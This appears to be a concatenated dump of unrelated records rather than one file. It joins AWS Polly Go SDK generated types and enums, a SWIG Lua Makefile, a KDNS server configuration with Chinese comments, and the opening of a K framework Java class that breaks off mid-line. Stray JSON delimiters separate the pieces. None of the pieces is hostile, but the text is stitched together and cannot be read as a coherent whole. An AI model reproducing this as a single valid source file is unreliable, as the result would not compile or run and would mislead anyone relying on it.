{\n\ts.Voices = v\n\treturn s\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/GetLexiconInput\ntype GetLexiconInput struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// Name of the lexicon.\n\t//\n\t// Name is a required field\n\tName *string `location:\"uri\" locationName:\"LexiconName\" type:\"string\" required:\"true\"`\n}\n\n// String returns the string representation\nfunc (s GetLexiconInput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s GetLexiconInput) GoString() string {\n\treturn s.String()\n}\n\n// Validate inspects the fields of the type to determine if they are valid.\nfunc (s *GetLexiconInput) Validate() error {\n\tinvalidParams := request.ErrInvalidParams{Context: \"GetLexiconInput\"}\n\tif s.Name == nil {\n\t\tinvalidParams.Add(request.NewErrParamRequired(\"Name\"))\n\t}\n\n\tif invalidParams.Len() > 0 {\n\t\treturn invalidParams\n\t}\n\treturn nil\n}\n\n// SetName sets the Name field's value.\nfunc (s *GetLexiconInput) SetName(v string) *GetLexiconInput {\n\ts.Name = &v\n\treturn s\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/GetLexiconOutput\ntype GetLexiconOutput struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// Lexicon object that provides name and the string content of the lexicon.\n\tLexicon *Lexicon `type:\"structure\"`\n\n\t// Metadata of the lexicon, including phonetic alphabetic used, language code,\n\t// lexicon ARN, number of lexemes defined in the lexicon, and size of lexicon\n\t// in bytes.\n\tLexiconAttributes *LexiconAttributes `type:\"structure\"`\n}\n\n// String returns the string representation\nfunc (s GetLexiconOutput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s GetLexiconOutput) GoString() string {\n\treturn s.String()\n}\n\n// SetLexicon sets the Lexicon field's value.\nfunc (s *GetLexiconOutput) SetLexicon(v *Lexicon) *GetLexiconOutput {\n\ts.Lexicon = v\n\treturn s\n}\n\n// SetLexiconAttributes sets the LexiconAttributes field's value.\nfunc (s *GetLexiconOutput) SetLexiconAttributes(v *LexiconAttributes) *GetLexiconOutput {\n\ts.LexiconAttributes = v\n\treturn s\n}\n\n// Provides lexicon name and lexicon content in string format. For more information,\n// see Pronunciation Lexicon Specification (PLS) Version 1.0 (https://www.w3.org/TR/pronunciation-lexicon/).\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/Lexicon\ntype Lexicon struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// Lexicon content in string format. The content of a lexicon must be in PLS\n\t// format.\n\tContent *string `type:\"string\"`\n\n\t// Name of the lexicon.\n\tName *string `type:\"string\"`\n}\n\n// String returns the string representation\nfunc (s Lexicon) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s Lexicon) GoString() string {\n\treturn s.String()\n}\n\n// SetContent sets the Content field's value.\nfunc (s *Lexicon) SetContent(v string) *Lexicon {\n\ts.Content = &v\n\treturn s\n}\n\n// SetName sets the Name field's value.\nfunc (s *Lexicon) SetName(v string) *Lexicon {\n\ts.Name = &v\n\treturn s\n}\n\n// Contains metadata describing the lexicon such as the number of lexemes, language\n// code, and so on. For more information, see Managing Lexicons (http://docs.aws.amazon.com/polly/latest/dg/managing-lexicons.html).\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/LexiconAttributes\ntype LexiconAttributes struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// Phonetic alphabet used in the lexicon. Valid values are ipa and x-sampa.\n\tAlphabet *string `type:\"string\"`\n\n\t// Language code that the lexicon applies to. A lexicon with a language code\n\t// such as \"en\" would be applied to all English languages (en-GB, en-US, en-AUS,\n\t// en-WLS, and so on.\n\tLanguageCode *string `type:\"string\" enum:\"LanguageCode\"`\n\n\t// Date lexicon was last modified (a timestamp value).\n\tLastModified *time.Time `type:\"timestamp\" timestampFormat:\"unix\"`\n\n\t// Number of lexemes in the lexicon.\n\tLexemesCount *int64 `type:\"integer\"`\n\n\t// Amazon Resource Name (ARN) of the lexicon.\n\tLexiconArn *string `type:\"string\"`\n\n\t// Total size of the lexicon, in characters.\n\tSize *int64 `type:\"integer\"`\n}\n\n// String returns the string representation\nfunc (s LexiconAttributes) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s LexiconAttributes) GoString() string {\n\treturn s.String()\n}\n\n// SetAlphabet sets the Alphabet field's value.\nfunc (s *LexiconAttributes) SetAlphabet(v string) *LexiconAttributes {\n\ts.Alphabet = &v\n\treturn s\n}\n\n// SetLanguageCode sets the LanguageCode field's value.\nfunc (s *LexiconAttributes) SetLanguageCode(v string) *LexiconAttributes {\n\ts.LanguageCode = &v\n\treturn s\n}\n\n// SetLastModified sets the LastModified field's value.\nfunc (s *LexiconAttributes) SetLastModified(v time.Time) *LexiconAttributes {\n\ts.LastModified = &v\n\treturn s\n}\n\n// SetLexemesCount sets the LexemesCount field's value.\nfunc (s *LexiconAttributes) SetLexemesCount(v int64) *LexiconAttributes {\n\ts.LexemesCount = &v\n\treturn s\n}\n\n// SetLexiconArn sets the LexiconArn field's value.\nfunc (s *LexiconAttributes) SetLexiconArn(v string) *LexiconAttributes {\n\ts.LexiconArn = &v\n\treturn s\n}\n\n// SetSize sets the Size field's value.\nfunc (s *LexiconAttributes) SetSize(v int64) *LexiconAttributes {\n\ts.Size = &v\n\treturn s\n}\n\n// Describes the content of the lexicon.\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/LexiconDescription\ntype LexiconDescription struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// Provides lexicon metadata.\n\tAttributes *LexiconAttributes `type:\"structure\"`\n\n\t// Name of the lexicon.\n\tName *string `type:\"string\"`\n}\n\n// String returns the string representation\nfunc (s LexiconDescription) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s LexiconDescription) GoString() string {\n\treturn s.String()\n}\n\n// SetAttributes sets the Attributes field's value.\nfunc (s *LexiconDescription) SetAttributes(v *LexiconAttributes) *LexiconDescription {\n\ts.Attributes = v\n\treturn s\n}\n\n// SetName sets the Name field's value.\nfunc (s *LexiconDescription) SetName(v string) *LexiconDescription {\n\ts.Name = &v\n\treturn s\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/ListLexiconsInput\ntype ListLexiconsInput struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// An opaque pagination token returned from previous ListLexicons operation.\n\t// If present, indicates where to continue the list of lexicons.\n\tNextToken *string `location:\"querystring\" locationName:\"NextToken\" type:\"string\"`\n}\n\n// String returns the string representation\nfunc (s ListLexiconsInput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s ListLexiconsInput) GoString() string {\n\treturn s.String()\n}\n\n// SetNextToken sets the NextToken field's value.\nfunc (s *ListLexiconsInput) SetNextToken(v string) *ListLexiconsInput {\n\ts.NextToken = &v\n\treturn s\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/ListLexiconsOutput\ntype ListLexiconsOutput struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// A list of lexicon names and attributes.\n\tLexicons []*LexiconDescription `type:\"list\"`\n\n\t// The pagination token to use in the next request to continue the listing of\n\t// lexicons. NextToken is returned only if the response is truncated.\n\tNextToken *string `type:\"string\"`\n}\n\n// String returns the string representation\nfunc (s ListLexiconsOutput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s ListLexiconsOutput) GoString() string {\n\treturn s.String()\n}\n\n// SetLexicons sets the Lexicons field's value.\nfunc (s *ListLexiconsOutput) SetLexicons(v []*LexiconDescription) *ListLexiconsOutput {\n\ts.Lexicons = v\n\treturn s\n}\n\n// SetNextToken sets the NextToken field's value.\nfunc (s *ListLexiconsOutput) SetNextToken(v string) *ListLexiconsOutput {\n\ts.NextToken = &v\n\treturn s\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/PutLexiconInput\ntype PutLexiconInput struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// Content of the PLS lexicon as string data.\n\t//\n\t// Content is a required field\n\tContent *string `type:\"string\" required:\"true\"`\n\n\t// Name of the lexicon. The name must follow the regular express format [0-9A-Za-z]{1,20}.\n\t// That is, the name is a case-sensitive alphanumeric string up to 20 characters\n\t// long.\n\t//\n\t// Name is a required field\n\tName *string `location:\"uri\" locationName:\"LexiconName\" type:\"string\" required:\"true\"`\n}\n\n// String returns the string representation\nfunc (s PutLexiconInput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s PutLexiconInput) GoString() string {\n\treturn s.String()\n}\n\n// Validate inspects the fields of the type to determine if they are valid.\nfunc (s *PutLexiconInput) Validate() error {\n\tinvalidParams := request.ErrInvalidParams{Context: \"PutLexiconInput\"}\n\tif s.Content == nil {\n\t\tinvalidParams.Add(request.NewErrParamRequired(\"Content\"))\n\t}\n\tif s.Name == nil {\n\t\tinvalidParams.Add(request.NewErrParamRequired(\"Name\"))\n\t}\n\n\tif invalidParams.Len() > 0 {\n\t\treturn invalidParams\n\t}\n\treturn nil\n}\n\n// SetContent sets the Content field's value.\nfunc (s *PutLexiconInput) SetContent(v string) *PutLexiconInput {\n\ts.Content = &v\n\treturn s\n}\n\n// SetName sets the Name field's value.\nfunc (s *PutLexiconInput) SetName(v string) *PutLexiconInput {\n\ts.Name = &v\n\treturn s\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/PutLexiconOutput\ntype PutLexiconOutput struct {\n\t_ struct{} `type:\"structure\"`\n}\n\n// String returns the string representation\nfunc (s PutLexiconOutput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s PutLexiconOutput) GoString() string {\n\treturn s.String()\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/SynthesizeSpeechInput\ntype SynthesizeSpeechInput struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// List of one or more pronunciation lexicon names you want the service to apply\n\t// during synthesis. Lexicons are applied only if the language of the lexicon\n\t// is the same as the language of the voice. For information about storing lexicons,\n\t// see PutLexicon (http://docs.aws.amazon.com/polly/latest/dg/API_PutLexicon.html).\n\tLexiconNames []*string `type:\"list\"`\n\n\t// The format in which the returned output will be encoded. For audio stream,\n\t// this will be mp3, ogg_vorbis, or pcm. For speech marks, this will be json.\n\t//\n\t// OutputFormat is a required field\n\tOutputFormat *string `type:\"string\" required:\"true\" enum:\"OutputFormat\"`\n\n\t// The audio frequency specified in Hz.\n\t//\n\t// The valid values for mp3 and ogg_vorbis are \"8000\", \"16000\", and \"22050\".\n\t// The default value is \"22050\".\n\t//\n\t// Valid values for pcm are \"8000\" and \"16000\" The default value is \"16000\".\n\tSampleRate *string `type:\"string\"`\n\n\t// The type of speech marks returned for the input text.\n\tSpeechMarkTypes []*string `type:\"list\"`\n\n\t// Input text to synthesize. If you specify ssml as the TextType, follow the\n\t// SSML format for the input text.\n\t//\n\t// Text is a required field\n\tText *string `type:\"string\" required:\"true\"`\n\n\t// Specifies whether the input text is plain text or SSML. The default value\n\t// is plain text. For more information, see Using SSML (http://docs.aws.amazon.com/polly/latest/dg/ssml.html).\n\tTextType *string `type:\"string\" enum:\"TextType\"`\n\n\t// Voice ID to use for the synthesis. You can get a list of available voice\n\t// IDs by calling the DescribeVoices (http://docs.aws.amazon.com/polly/latest/dg/API_DescribeVoices.html)\n\t// operation.\n\t//\n\t// VoiceId is a required field\n\tVoiceId *string `type:\"string\" required:\"true\" enum:\"VoiceId\"`\n}\n\n// String returns the string representation\nfunc (s SynthesizeSpeechInput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s SynthesizeSpeechInput) GoString() string {\n\treturn s.String()\n}\n\n// Validate inspects the fields of the type to determine if they are valid.\nfunc (s *SynthesizeSpeechInput) Validate() error {\n\tinvalidParams := request.ErrInvalidParams{Context: \"SynthesizeSpeechInput\"}\n\tif s.OutputFormat == nil {\n\t\tinvalidParams.Add(request.NewErrParamRequired(\"OutputFormat\"))\n\t}\n\tif s.Text == nil {\n\t\tinvalidParams.Add(request.NewErrParamRequired(\"Text\"))\n\t}\n\tif s.VoiceId == nil {\n\t\tinvalidParams.Add(request.NewErrParamRequired(\"VoiceId\"))\n\t}\n\n\tif invalidParams.Len() > 0 {\n\t\treturn invalidParams\n\t}\n\treturn nil\n}\n\n// SetLexiconNames sets the LexiconNames field's value.\nfunc (s *SynthesizeSpeechInput) SetLexiconNames(v []*string) *SynthesizeSpeechInput {\n\ts.LexiconNames = v\n\treturn s\n}\n\n// SetOutputFormat sets the OutputFormat field's value.\nfunc (s *SynthesizeSpeechInput) SetOutputFormat(v string) *SynthesizeSpeechInput {\n\ts.OutputFormat = &v\n\treturn s\n}\n\n// SetSampleRate sets the SampleRate field's value.\nfunc (s *SynthesizeSpeechInput) SetSampleRate(v string) *SynthesizeSpeechInput {\n\ts.SampleRate = &v\n\treturn s\n}\n\n// SetSpeechMarkTypes sets the SpeechMarkTypes field's value.\nfunc (s *SynthesizeSpeechInput) SetSpeechMarkTypes(v []*string) *SynthesizeSpeechInput {\n\ts.SpeechMarkTypes = v\n\treturn s\n}\n\n// SetText sets the Text field's value.\nfunc (s *SynthesizeSpeechInput) SetText(v string) *SynthesizeSpeechInput {\n\ts.Text = &v\n\treturn s\n}\n\n// SetTextType sets the TextType field's value.\nfunc (s *SynthesizeSpeechInput) SetTextType(v string) *SynthesizeSpeechInput {\n\ts.TextType = &v\n\treturn s\n}\n\n// SetVoiceId sets the VoiceId field's value.\nfunc (s *SynthesizeSpeechInput) SetVoiceId(v string) *SynthesizeSpeechInput {\n\ts.VoiceId = &v\n\treturn s\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/SynthesizeSpeechOutput\ntype SynthesizeSpeechOutput struct {\n\t_ struct{} `type:\"structure\" payload:\"AudioStream\"`\n\n\t// Stream containing the synthesized speech.\n\tAudioStream io.ReadCloser `type:\"blob\"`\n\n\t// Specifies the type audio stream. This should reflect the OutputFormat parameter\n\t// in your request.\n\t//\n\t// * If you request mp3 as the OutputFormat, the ContentType returned is\n\t// audio/mpeg.\n\t//\n\t// * If you request ogg_vorbis as the OutputFormat, the ContentType returned\n\t// is audio/ogg.\n\t//\n\t// * If you request pcm as the OutputFormat, the ContentType returned is\n\t// audio/pcm in a signed 16-bit, 1 channel (mono), little-endian format.\n\t//\n\t//\n\t// * If you request json as the OutputFormat, the ContentType returned is\n\t// audio/json.\n\tContentType *string `location:\"header\" locationName:\"Content-Type\" type:\"string\"`\n\n\t// Number of characters synthesized.\n\tRequestCharacters *int64 `location:\"header\" locationName:\"x-amzn-RequestCharacters\" type:\"integer\"`\n}\n\n// String returns the string representation\nfunc (s SynthesizeSpeechOutput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s SynthesizeSpeechOutput) GoString() string {\n\treturn s.String()\n}\n\n// SetAudioStream sets the AudioStream field's value.\nfunc (s *SynthesizeSpeechOutput) SetAudioStream(v io.ReadCloser) *SynthesizeSpeechOutput {\n\ts.AudioStream = v\n\treturn s\n}\n\n// SetContentType sets the ContentType field's value.\nfunc (s *SynthesizeSpeechOutput) SetContentType(v string) *SynthesizeSpeechOutput {\n\ts.ContentType = &v\n\treturn s\n}\n\n// SetRequestCharacters sets the RequestCharacters field's value.\nfunc (s *SynthesizeSpeechOutput) SetRequestCharacters(v int64) *SynthesizeSpeechOutput {\n\ts.RequestCharacters = &v\n\treturn s\n}\n\n// Description of the voice.\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/Voice\ntype Voice struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// Gender of the voice.\n\tGender *string `type:\"string\" enum:\"Gender\"`\n\n\t// Amazon Polly assigned voice ID. This is the ID that you specify when calling\n\t// the SynthesizeSpeech operation.\n\tId *string `type:\"string\" enum:\"VoiceId\"`\n\n\t// Language code of the voice.\n\tLanguageCode *string `type:\"string\" enum:\"LanguageCode\"`\n\n\t// Human readable name of the language in English.\n\tLanguageName *string `type:\"string\"`\n\n\t// Name of the voice (for example, Salli, Kendra, etc.). This provides a human\n\t// readable voice name that you might display in your application.\n\tName *string `type:\"string\"`\n}\n\n// String returns the string representation\nfunc (s Voice) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s Voice) GoString() string {\n\treturn s.String()\n}\n\n// SetGender sets the Gender field's value.\nfunc (s *Voice) SetGender(v string) *Voice {\n\ts.Gender = &v\n\treturn s\n}\n\n// SetId sets the Id field's value.\nfunc (s *Voice) SetId(v string) *Voice {\n\ts.Id = &v\n\treturn s\n}\n\n// SetLanguageCode sets the LanguageCode field's value.\nfunc (s *Voice) SetLanguageCode(v string) *Voice {\n\ts.LanguageCode = &v\n\treturn s\n}\n\n// SetLanguageName sets the LanguageName field's value.\nfunc (s *Voice) SetLanguageName(v string) *Voice {\n\ts.LanguageName = &v\n\treturn s\n}\n\n// SetName sets the Name field's value.\nfunc (s *Voice) SetName(v string) *Voice {\n\ts.Name = &v\n\treturn s\n}\n\nconst (\n\t// GenderFemale is a Gender enum value\n\tGenderFemale = \"Female\"\n\n\t// GenderMale is a Gender enum value\n\tGenderMale = \"Male\"\n)\n\nconst (\n\t// LanguageCodeCyGb is a LanguageCode enum value\n\tLanguageCodeCyGb = \"cy-GB\"\n\n\t// LanguageCodeDaDk is a LanguageCode enum value\n\tLanguageCodeDaDk = \"da-DK\"\n\n\t// LanguageCodeDeDe is a LanguageCode enum value\n\tLanguageCodeDeDe = \"de-DE\"\n\n\t// LanguageCodeEnAu is a LanguageCode enum value\n\tLanguageCodeEnAu = \"en-AU\"\n\n\t// LanguageCodeEnGb is a LanguageCode enum value\n\tLanguageCodeEnGb = \"en-GB\"\n\n\t// LanguageCodeEnGbWls is a LanguageCode enum value\n\tLanguageCodeEnGbWls = \"en-GB-WLS\"\n\n\t// LanguageCodeEnIn is a LanguageCode enum value\n\tLanguageCodeEnIn = \"en-IN\"\n\n\t// LanguageCodeEnUs is a LanguageCode enum value\n\tLanguageCodeEnUs = \"en-US\"\n\n\t// LanguageCodeEsEs is a LanguageCode enum value\n\tLanguageCodeEsEs = \"es-ES\"\n\n\t// LanguageCodeEsUs is a LanguageCode enum value\n\tLanguageCodeEsUs = \"es-US\"\n\n\t// LanguageCodeFrCa is a LanguageCode enum value\n\tLanguageCodeFrCa = \"fr-CA\"\n\n\t// LanguageCodeFrFr is a LanguageCode enum value\n\tLanguageCodeFrFr = \"fr-FR\"\n\n\t// LanguageCodeIsIs is a LanguageCode enum value\n\tLanguageCodeIsIs = \"is-IS\"\n\n\t// LanguageCodeItIt is a LanguageCode enum value\n\tLanguageCodeItIt = \"it-IT\"\n\n\t// LanguageCodeJaJp is a LanguageCode enum value\n\tLanguageCodeJaJp = \"ja-JP\"\n\n\t// LanguageCodeNbNo is a LanguageCode enum value\n\tLanguageCodeNbNo = \"nb-NO\"\n\n\t// LanguageCodeNlNl is a LanguageCode enum value\n\tLanguageCodeNlNl = \"nl-NL\"\n\n\t// LanguageCodePlPl is a LanguageCode enum value\n\tLanguageCodePlPl = \"pl-PL\"\n\n\t// LanguageCodePtBr is a LanguageCode enum value\n\tLanguageCodePtBr = \"pt-BR\"\n\n\t// LanguageCodePtPt is a LanguageCode enum value\n\tLanguageCodePtPt = \"pt-PT\"\n\n\t// LanguageCodeRoRo is a LanguageCode enum value\n\tLanguageCodeRoRo = \"ro-RO\"\n\n\t// LanguageCodeRuRu is a LanguageCode enum value\n\tLanguageCodeRuRu = \"ru-RU\"\n\n\t// LanguageCodeSvSe is a LanguageCode enum value\n\tLanguageCodeSvSe = \"sv-SE\"\n\n\t// LanguageCodeTrTr is a LanguageCode enum value\n\tLanguageCodeTrTr = \"tr-TR\"\n)\n\nconst (\n\t// OutputFormatJson is a OutputFormat enum value\n\tOutputFormatJson = \"json\"\n\n\t// OutputFormatMp3 is a OutputFormat enum value\n\tOutputFormatMp3 = \"mp3\"\n\n\t// OutputFormatOggVorbis is a OutputFormat enum value\n\tOutputFormatOggVorbis = \"ogg_vorbis\"\n\n\t// OutputFormatPcm is a OutputFormat enum value\n\tOutputFormatPcm = \"pcm\"\n)\n\nconst (\n\t// SpeechMarkTypeSentence is a SpeechMarkType enum value\n\tSpeechMarkTypeSentence = \"sentence\"\n\n\t// SpeechMarkTypeSsml is a SpeechMarkType enum value\n\tSpeechMarkTypeSsml = \"ssml\"\n\n\t// SpeechMarkTypeViseme is a SpeechMarkType enum value\n\tSpeechMarkTypeViseme = \"viseme\"\n\n\t// SpeechMarkTypeWord is a SpeechMarkType enum value\n\tSpeechMarkTypeWord = \"word\"\n)\n\nconst (\n\t// TextTypeSsml is a TextType enum value\n\tTextTypeSsml = \"ssml\"\n\n\t// TextTypeText is a TextType enum value\n\tTextTypeText = \"text\"\n)\n\nconst (\n\t// VoiceIdGeraint is a VoiceId enum value\n\tVoiceIdGeraint = \"Geraint\"\n\n\t// VoiceIdGwyneth is a VoiceId enum value\n\tVoiceIdGwyneth = \"Gwyneth\"\n\n\t// VoiceIdMads is a VoiceId enum value\n\tVoiceIdMads = \"Mads\"\n\n\t// VoiceIdNaja is a VoiceId enum value\n\tVoiceIdNaja = \"Naja\"\n\n\t// VoiceIdHans is a VoiceId enum value\n\tVoiceIdHans = \"Hans\"\n\n\t// VoiceIdMarlene is a VoiceId enum value\n\tVoiceIdMarlene = \"Marlene\"\n\n\t// VoiceIdNicole is a VoiceId enum value\n\tVoiceIdNicole = \"Nicole\"\n\n\t// VoiceIdRussell is a VoiceId enum value\n\tVoiceIdRussell = \"Russell\"\n\n\t// VoiceIdAmy is a VoiceId enum value\n\tVoiceIdAmy = \"Amy\"\n\n\t// VoiceIdBrian is a VoiceId enum value\n\tVoiceIdBrian = \"Brian\"\n\n\t// VoiceIdEmma is a VoiceId enum value\n\tVoiceIdEmma = \"Emma\"\n\n\t// VoiceIdRaveena is a VoiceId enum value\n\tVoiceIdRaveena = \"Raveena\"\n\n\t// VoiceIdIvy is a VoiceId enum value\n\tVoiceIdIvy = \"Ivy\"\n\n\t// VoiceIdJoanna is a VoiceId enum value\n\tVoiceIdJoanna = \"Joanna\"\n\n\t// VoiceIdJoey is a VoiceId enum value\n\tVoiceIdJoey = \"Joey\"\n\n\t// VoiceIdJustin is a VoiceId enum value\n\tVoiceIdJustin = \"Justin\"\n\n\t// VoiceIdKendra is a VoiceId enum value\n\tVoiceIdKendra = \"Kendra\"\n\n\t// VoiceIdKimberly is a VoiceId enum value\n\tVoiceIdKimberly = \"Kimberly\"\n\n\t// VoiceIdSalli is a VoiceId enum value\n\tVoiceIdSalli = \"Salli\"\n\n\t// VoiceIdConchita is a VoiceId enum value\n\tVoiceIdConchita = \"Conchita\"\n\n\t// VoiceIdEnrique is a VoiceId enum value\n\tVoiceIdEnrique = \"Enrique\"\n\n\t// VoiceIdMiguel is a VoiceId enum value\n\tVoiceIdMiguel = \"Miguel\"\n\n\t// VoiceIdPenelope is a VoiceId enum value\n\tVoiceIdPenelope = \"Penelope\"\n\n\t// VoiceIdChantal is a VoiceId enum value\n\tVoiceIdChantal = \"Chantal\"\n\n\t// VoiceIdCeline is a VoiceId enum value\n\tVoiceIdCeline = \"Celine\"\n\n\t// VoiceIdMathieu is a VoiceId enum value\n\tVoiceIdMathieu = \"Mathieu\"\n\n\t// VoiceIdDora is a VoiceId enum value\n\tVoiceIdDora = \"Dora\"\n\n\t// VoiceIdKarl is a VoiceId enum value\n\tVoiceIdKarl = \"Karl\"\n\n\t// VoiceIdCarla is a VoiceId enum value\n\tVoiceIdCarla = \"Carla\"\n\n\t// VoiceIdGiorgio is a VoiceId enum value\n\tVoiceIdGiorgio = \"Giorgio\"\n\n\t// VoiceIdMizuki is a VoiceId enum value\n\tVoiceIdMizuki = \"Mizuki\"\n\n\t// VoiceIdLiv is a VoiceId enum value\n\tVoiceIdLiv = \"Liv\"\n\n\t// VoiceIdLotte is a VoiceId enum value\n\tVoiceIdLotte = \"Lotte\"\n\n\t// VoiceIdRuben is a VoiceId enum value\n\tVoiceIdRuben = \"Ruben\"\n\n\t// VoiceIdEwa is a VoiceId enum value\n\tVoiceIdEwa = \"Ewa\"\n\n\t// VoiceIdJacek is a VoiceId enum value\n\tVoiceIdJacek = \"Jacek\"\n\n\t// VoiceIdJan is a VoiceId enum value\n\tVoiceIdJan = \"Jan\"\n\n\t// VoiceIdMaja is a VoiceId enum value\n\tVoiceIdMaja = \"Maja\"\n\n\t// VoiceIdRicardo is a VoiceId enum value\n\tVoiceIdRicardo = \"Ricardo\"\n\n\t// VoiceIdVitoria is a VoiceId enum value\n\tVoiceIdVitoria = \"Vitoria\"\n\n\t// VoiceIdCristiano is a VoiceId enum value\n\tVoiceIdCristiano = \"Cristiano\"\n\n\t// VoiceIdInes is a VoiceId enum value\n\tVoiceIdInes = \"Ines\"\n\n\t// VoiceIdCarmen is a VoiceId enum value\n\tVoiceIdCarmen = \"Carmen\"\n\n\t// VoiceIdMaxim is a VoiceId enum value\n\tVoiceIdMaxim = \"Maxim\"\n\n\t// VoiceIdTatyana is a VoiceId enum value\n\tVoiceIdTatyana = \"Tatyana\"\n\n\t// VoiceIdAstrid is a VoiceId enum value\n\tVoiceIdAstrid = \"Astrid\"\n\n\t// VoiceIdFiliz is a VoiceId enum value\n\tVoiceIdFiliz = \"Filiz\"\n\n\t// VoiceIdVicki is a VoiceId enum value\n\tVoiceIdVicki = \"Vicki\"\n)\n"} {"text": "TOP = ../..\nSWIGEXE = $(TOP)/../swig\nSWIG_LIB_DIR = $(TOP)/../$(TOP_BUILDDIR_TO_TOP_SRCDIR)Lib\nSRCS = example.c\nTARGET = example\nINTERFACE = example.i\n\ncheck: build\n\t$(MAKE) -f $(TOP)/Makefile SRCDIR='$(SRCDIR)' lua_run\n\nbuild:\n\t$(MAKE) -f $(TOP)/Makefile SRCDIR='$(SRCDIR)' SRCS='$(SRCS)' \\\n\tSWIG_LIB_DIR='$(SWIG_LIB_DIR)' SWIGEXE='$(SWIGEXE)' \\\n\tTARGET='$(TARGET)' INTERFACE='$(INTERFACE)' lua\n\nstatic:\n\t$(MAKE) -f $(TOP)/Makefile SRCDIR='$(SRCDIR)' SRCS='$(SRCS)' \\\n\tSWIG_LIB_DIR='$(SWIG_LIB_DIR)' SWIGEXE='$(SWIGEXE)' \\\n\tTARGET='mylua' INTERFACE='$(INTERFACE)' lua_static\n\nclean:\n\t$(MAKE) -f $(TOP)/Makefile SRCDIR='$(SRCDIR)' lua_clean\n"} {"text": "[EAL]\ncores = 1,3,5,7,9\nmemory = 1024,1024\nmem-channels = 4\n \n[NETDEV]\n; 默认KNI网口名称\nname-prefix = kdns\nmode = rss\nmbuf-num = 65535\nkni-mbuf-num = 8191\nrxqueue-len = 1024\ntxqueue-len = 2048\n \nrxqueue-num = 4\ntxqueue-num = 4\n\n; KNI网口IP地址\nkni-ipv4 = 2.2.2.240\n; BGP 发布的VIP\nkni-vip = 10.17.9.100\n\n[COMMON]\nlog-file = /export/log/kdns/kdns.log\n\nfwd-def-addrs = 114.114.114.114:53,8.8.8.8:53\n; 转发线程数\nfwd-thread-num = 4\n; 转发模式\nfwd-mode = cache\n; 转发请求超时时间\nfwd-timeout = 2\n; 转发请求mbuf数\nfwd-mbuf-num = 65535\n\n; 每IP全部报文限速\nall-per-second = 1000\n; 每IP DNS转发请求限速\nfwd-per-second = 10\n; 限速客户端数, 设置为0, 则关闭限速功能\nclient-num = 10240\n\nweb-port = 5500\nssl-enable = no\ncert-pem-file = /etc/kdns/server1.pem\nkey-pem-file = /etc/kdns/server1-key.pem\nzones = tst.local,example.com,168.192.in-addr.arpa"} {"text": "// Copyright (c) 2015-2016 K Team. All Rights Reserved.\npackage org.kframework.frontend.compile;\n\nimport org.kframework.Collections;\nimport org.kframework.builtin.Sorts;\nimport org.kframework.definition.Definition;\nimport org.kframework.definition.Module;\nimport org.kframework.definition.Production;\nimport org.kframework.definition.Sentence;\nimport org.kframework.definition.WithInputDefinitionModuleTransformer;\nimport org.kframework.kil.Attribute;\nimport org.kframework.frontend.Sort;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport static org.kframework.Collections.*;\nimport static org.kframework.definition.Constructors.*;\n\npublic class GenerateSortPredicateSyntax extends WithInputDefinitionModuleTransformer {\n\n public GenerateSortPredicateSyntax(Definition inputDefinition) {\n super(inputDefinition);\n }\n\n @Override\n public Module process(Module mod, scala.collection.Set<Module> alreadyProcessedImports) {\n if (mod.name().equals(\"SORT-K\"))\n return mod;\n\n Set<Sentence> res = new HashSet<>();\n for (Sort sort : iterable(mod.localSorts())) {\n Production prod = getIsSortProduction(sort);\n if (!mod.productions().contains(prod))\n res.add(prod);\n }\n scala.collection.Set<Module> newImports;\n if (mod.name().equals(\"BOOL-SYNTAX\")) {\n newImports = alreadyProcessedImports;\n res.add(getIsSortProduction(Sorts.K()));\n } else {\n if (alreadyProcessedImports.exists(i -> i.name().equals(\"BOOL-SYNTAX\"))) {\n newImports = alreadyProcessedImports;\n } else{\n newImports = Collections.add(apply(\"BOOL-SYNTAX\"), alreadyProcessedImports);\n }\n }\n\n\n return Module(mod.name(), newImports, (scala.collection.Set<Sentence>) mod.localSentences().$bar(immutable(res)), mod.att());\n }\n\n private Production getIsSortProduction(Sort sort) {\n return Production(\"is\" + sort.name(), Sorts.Bool(),\n Seq(Terminal(\"is\" + sort.name()), 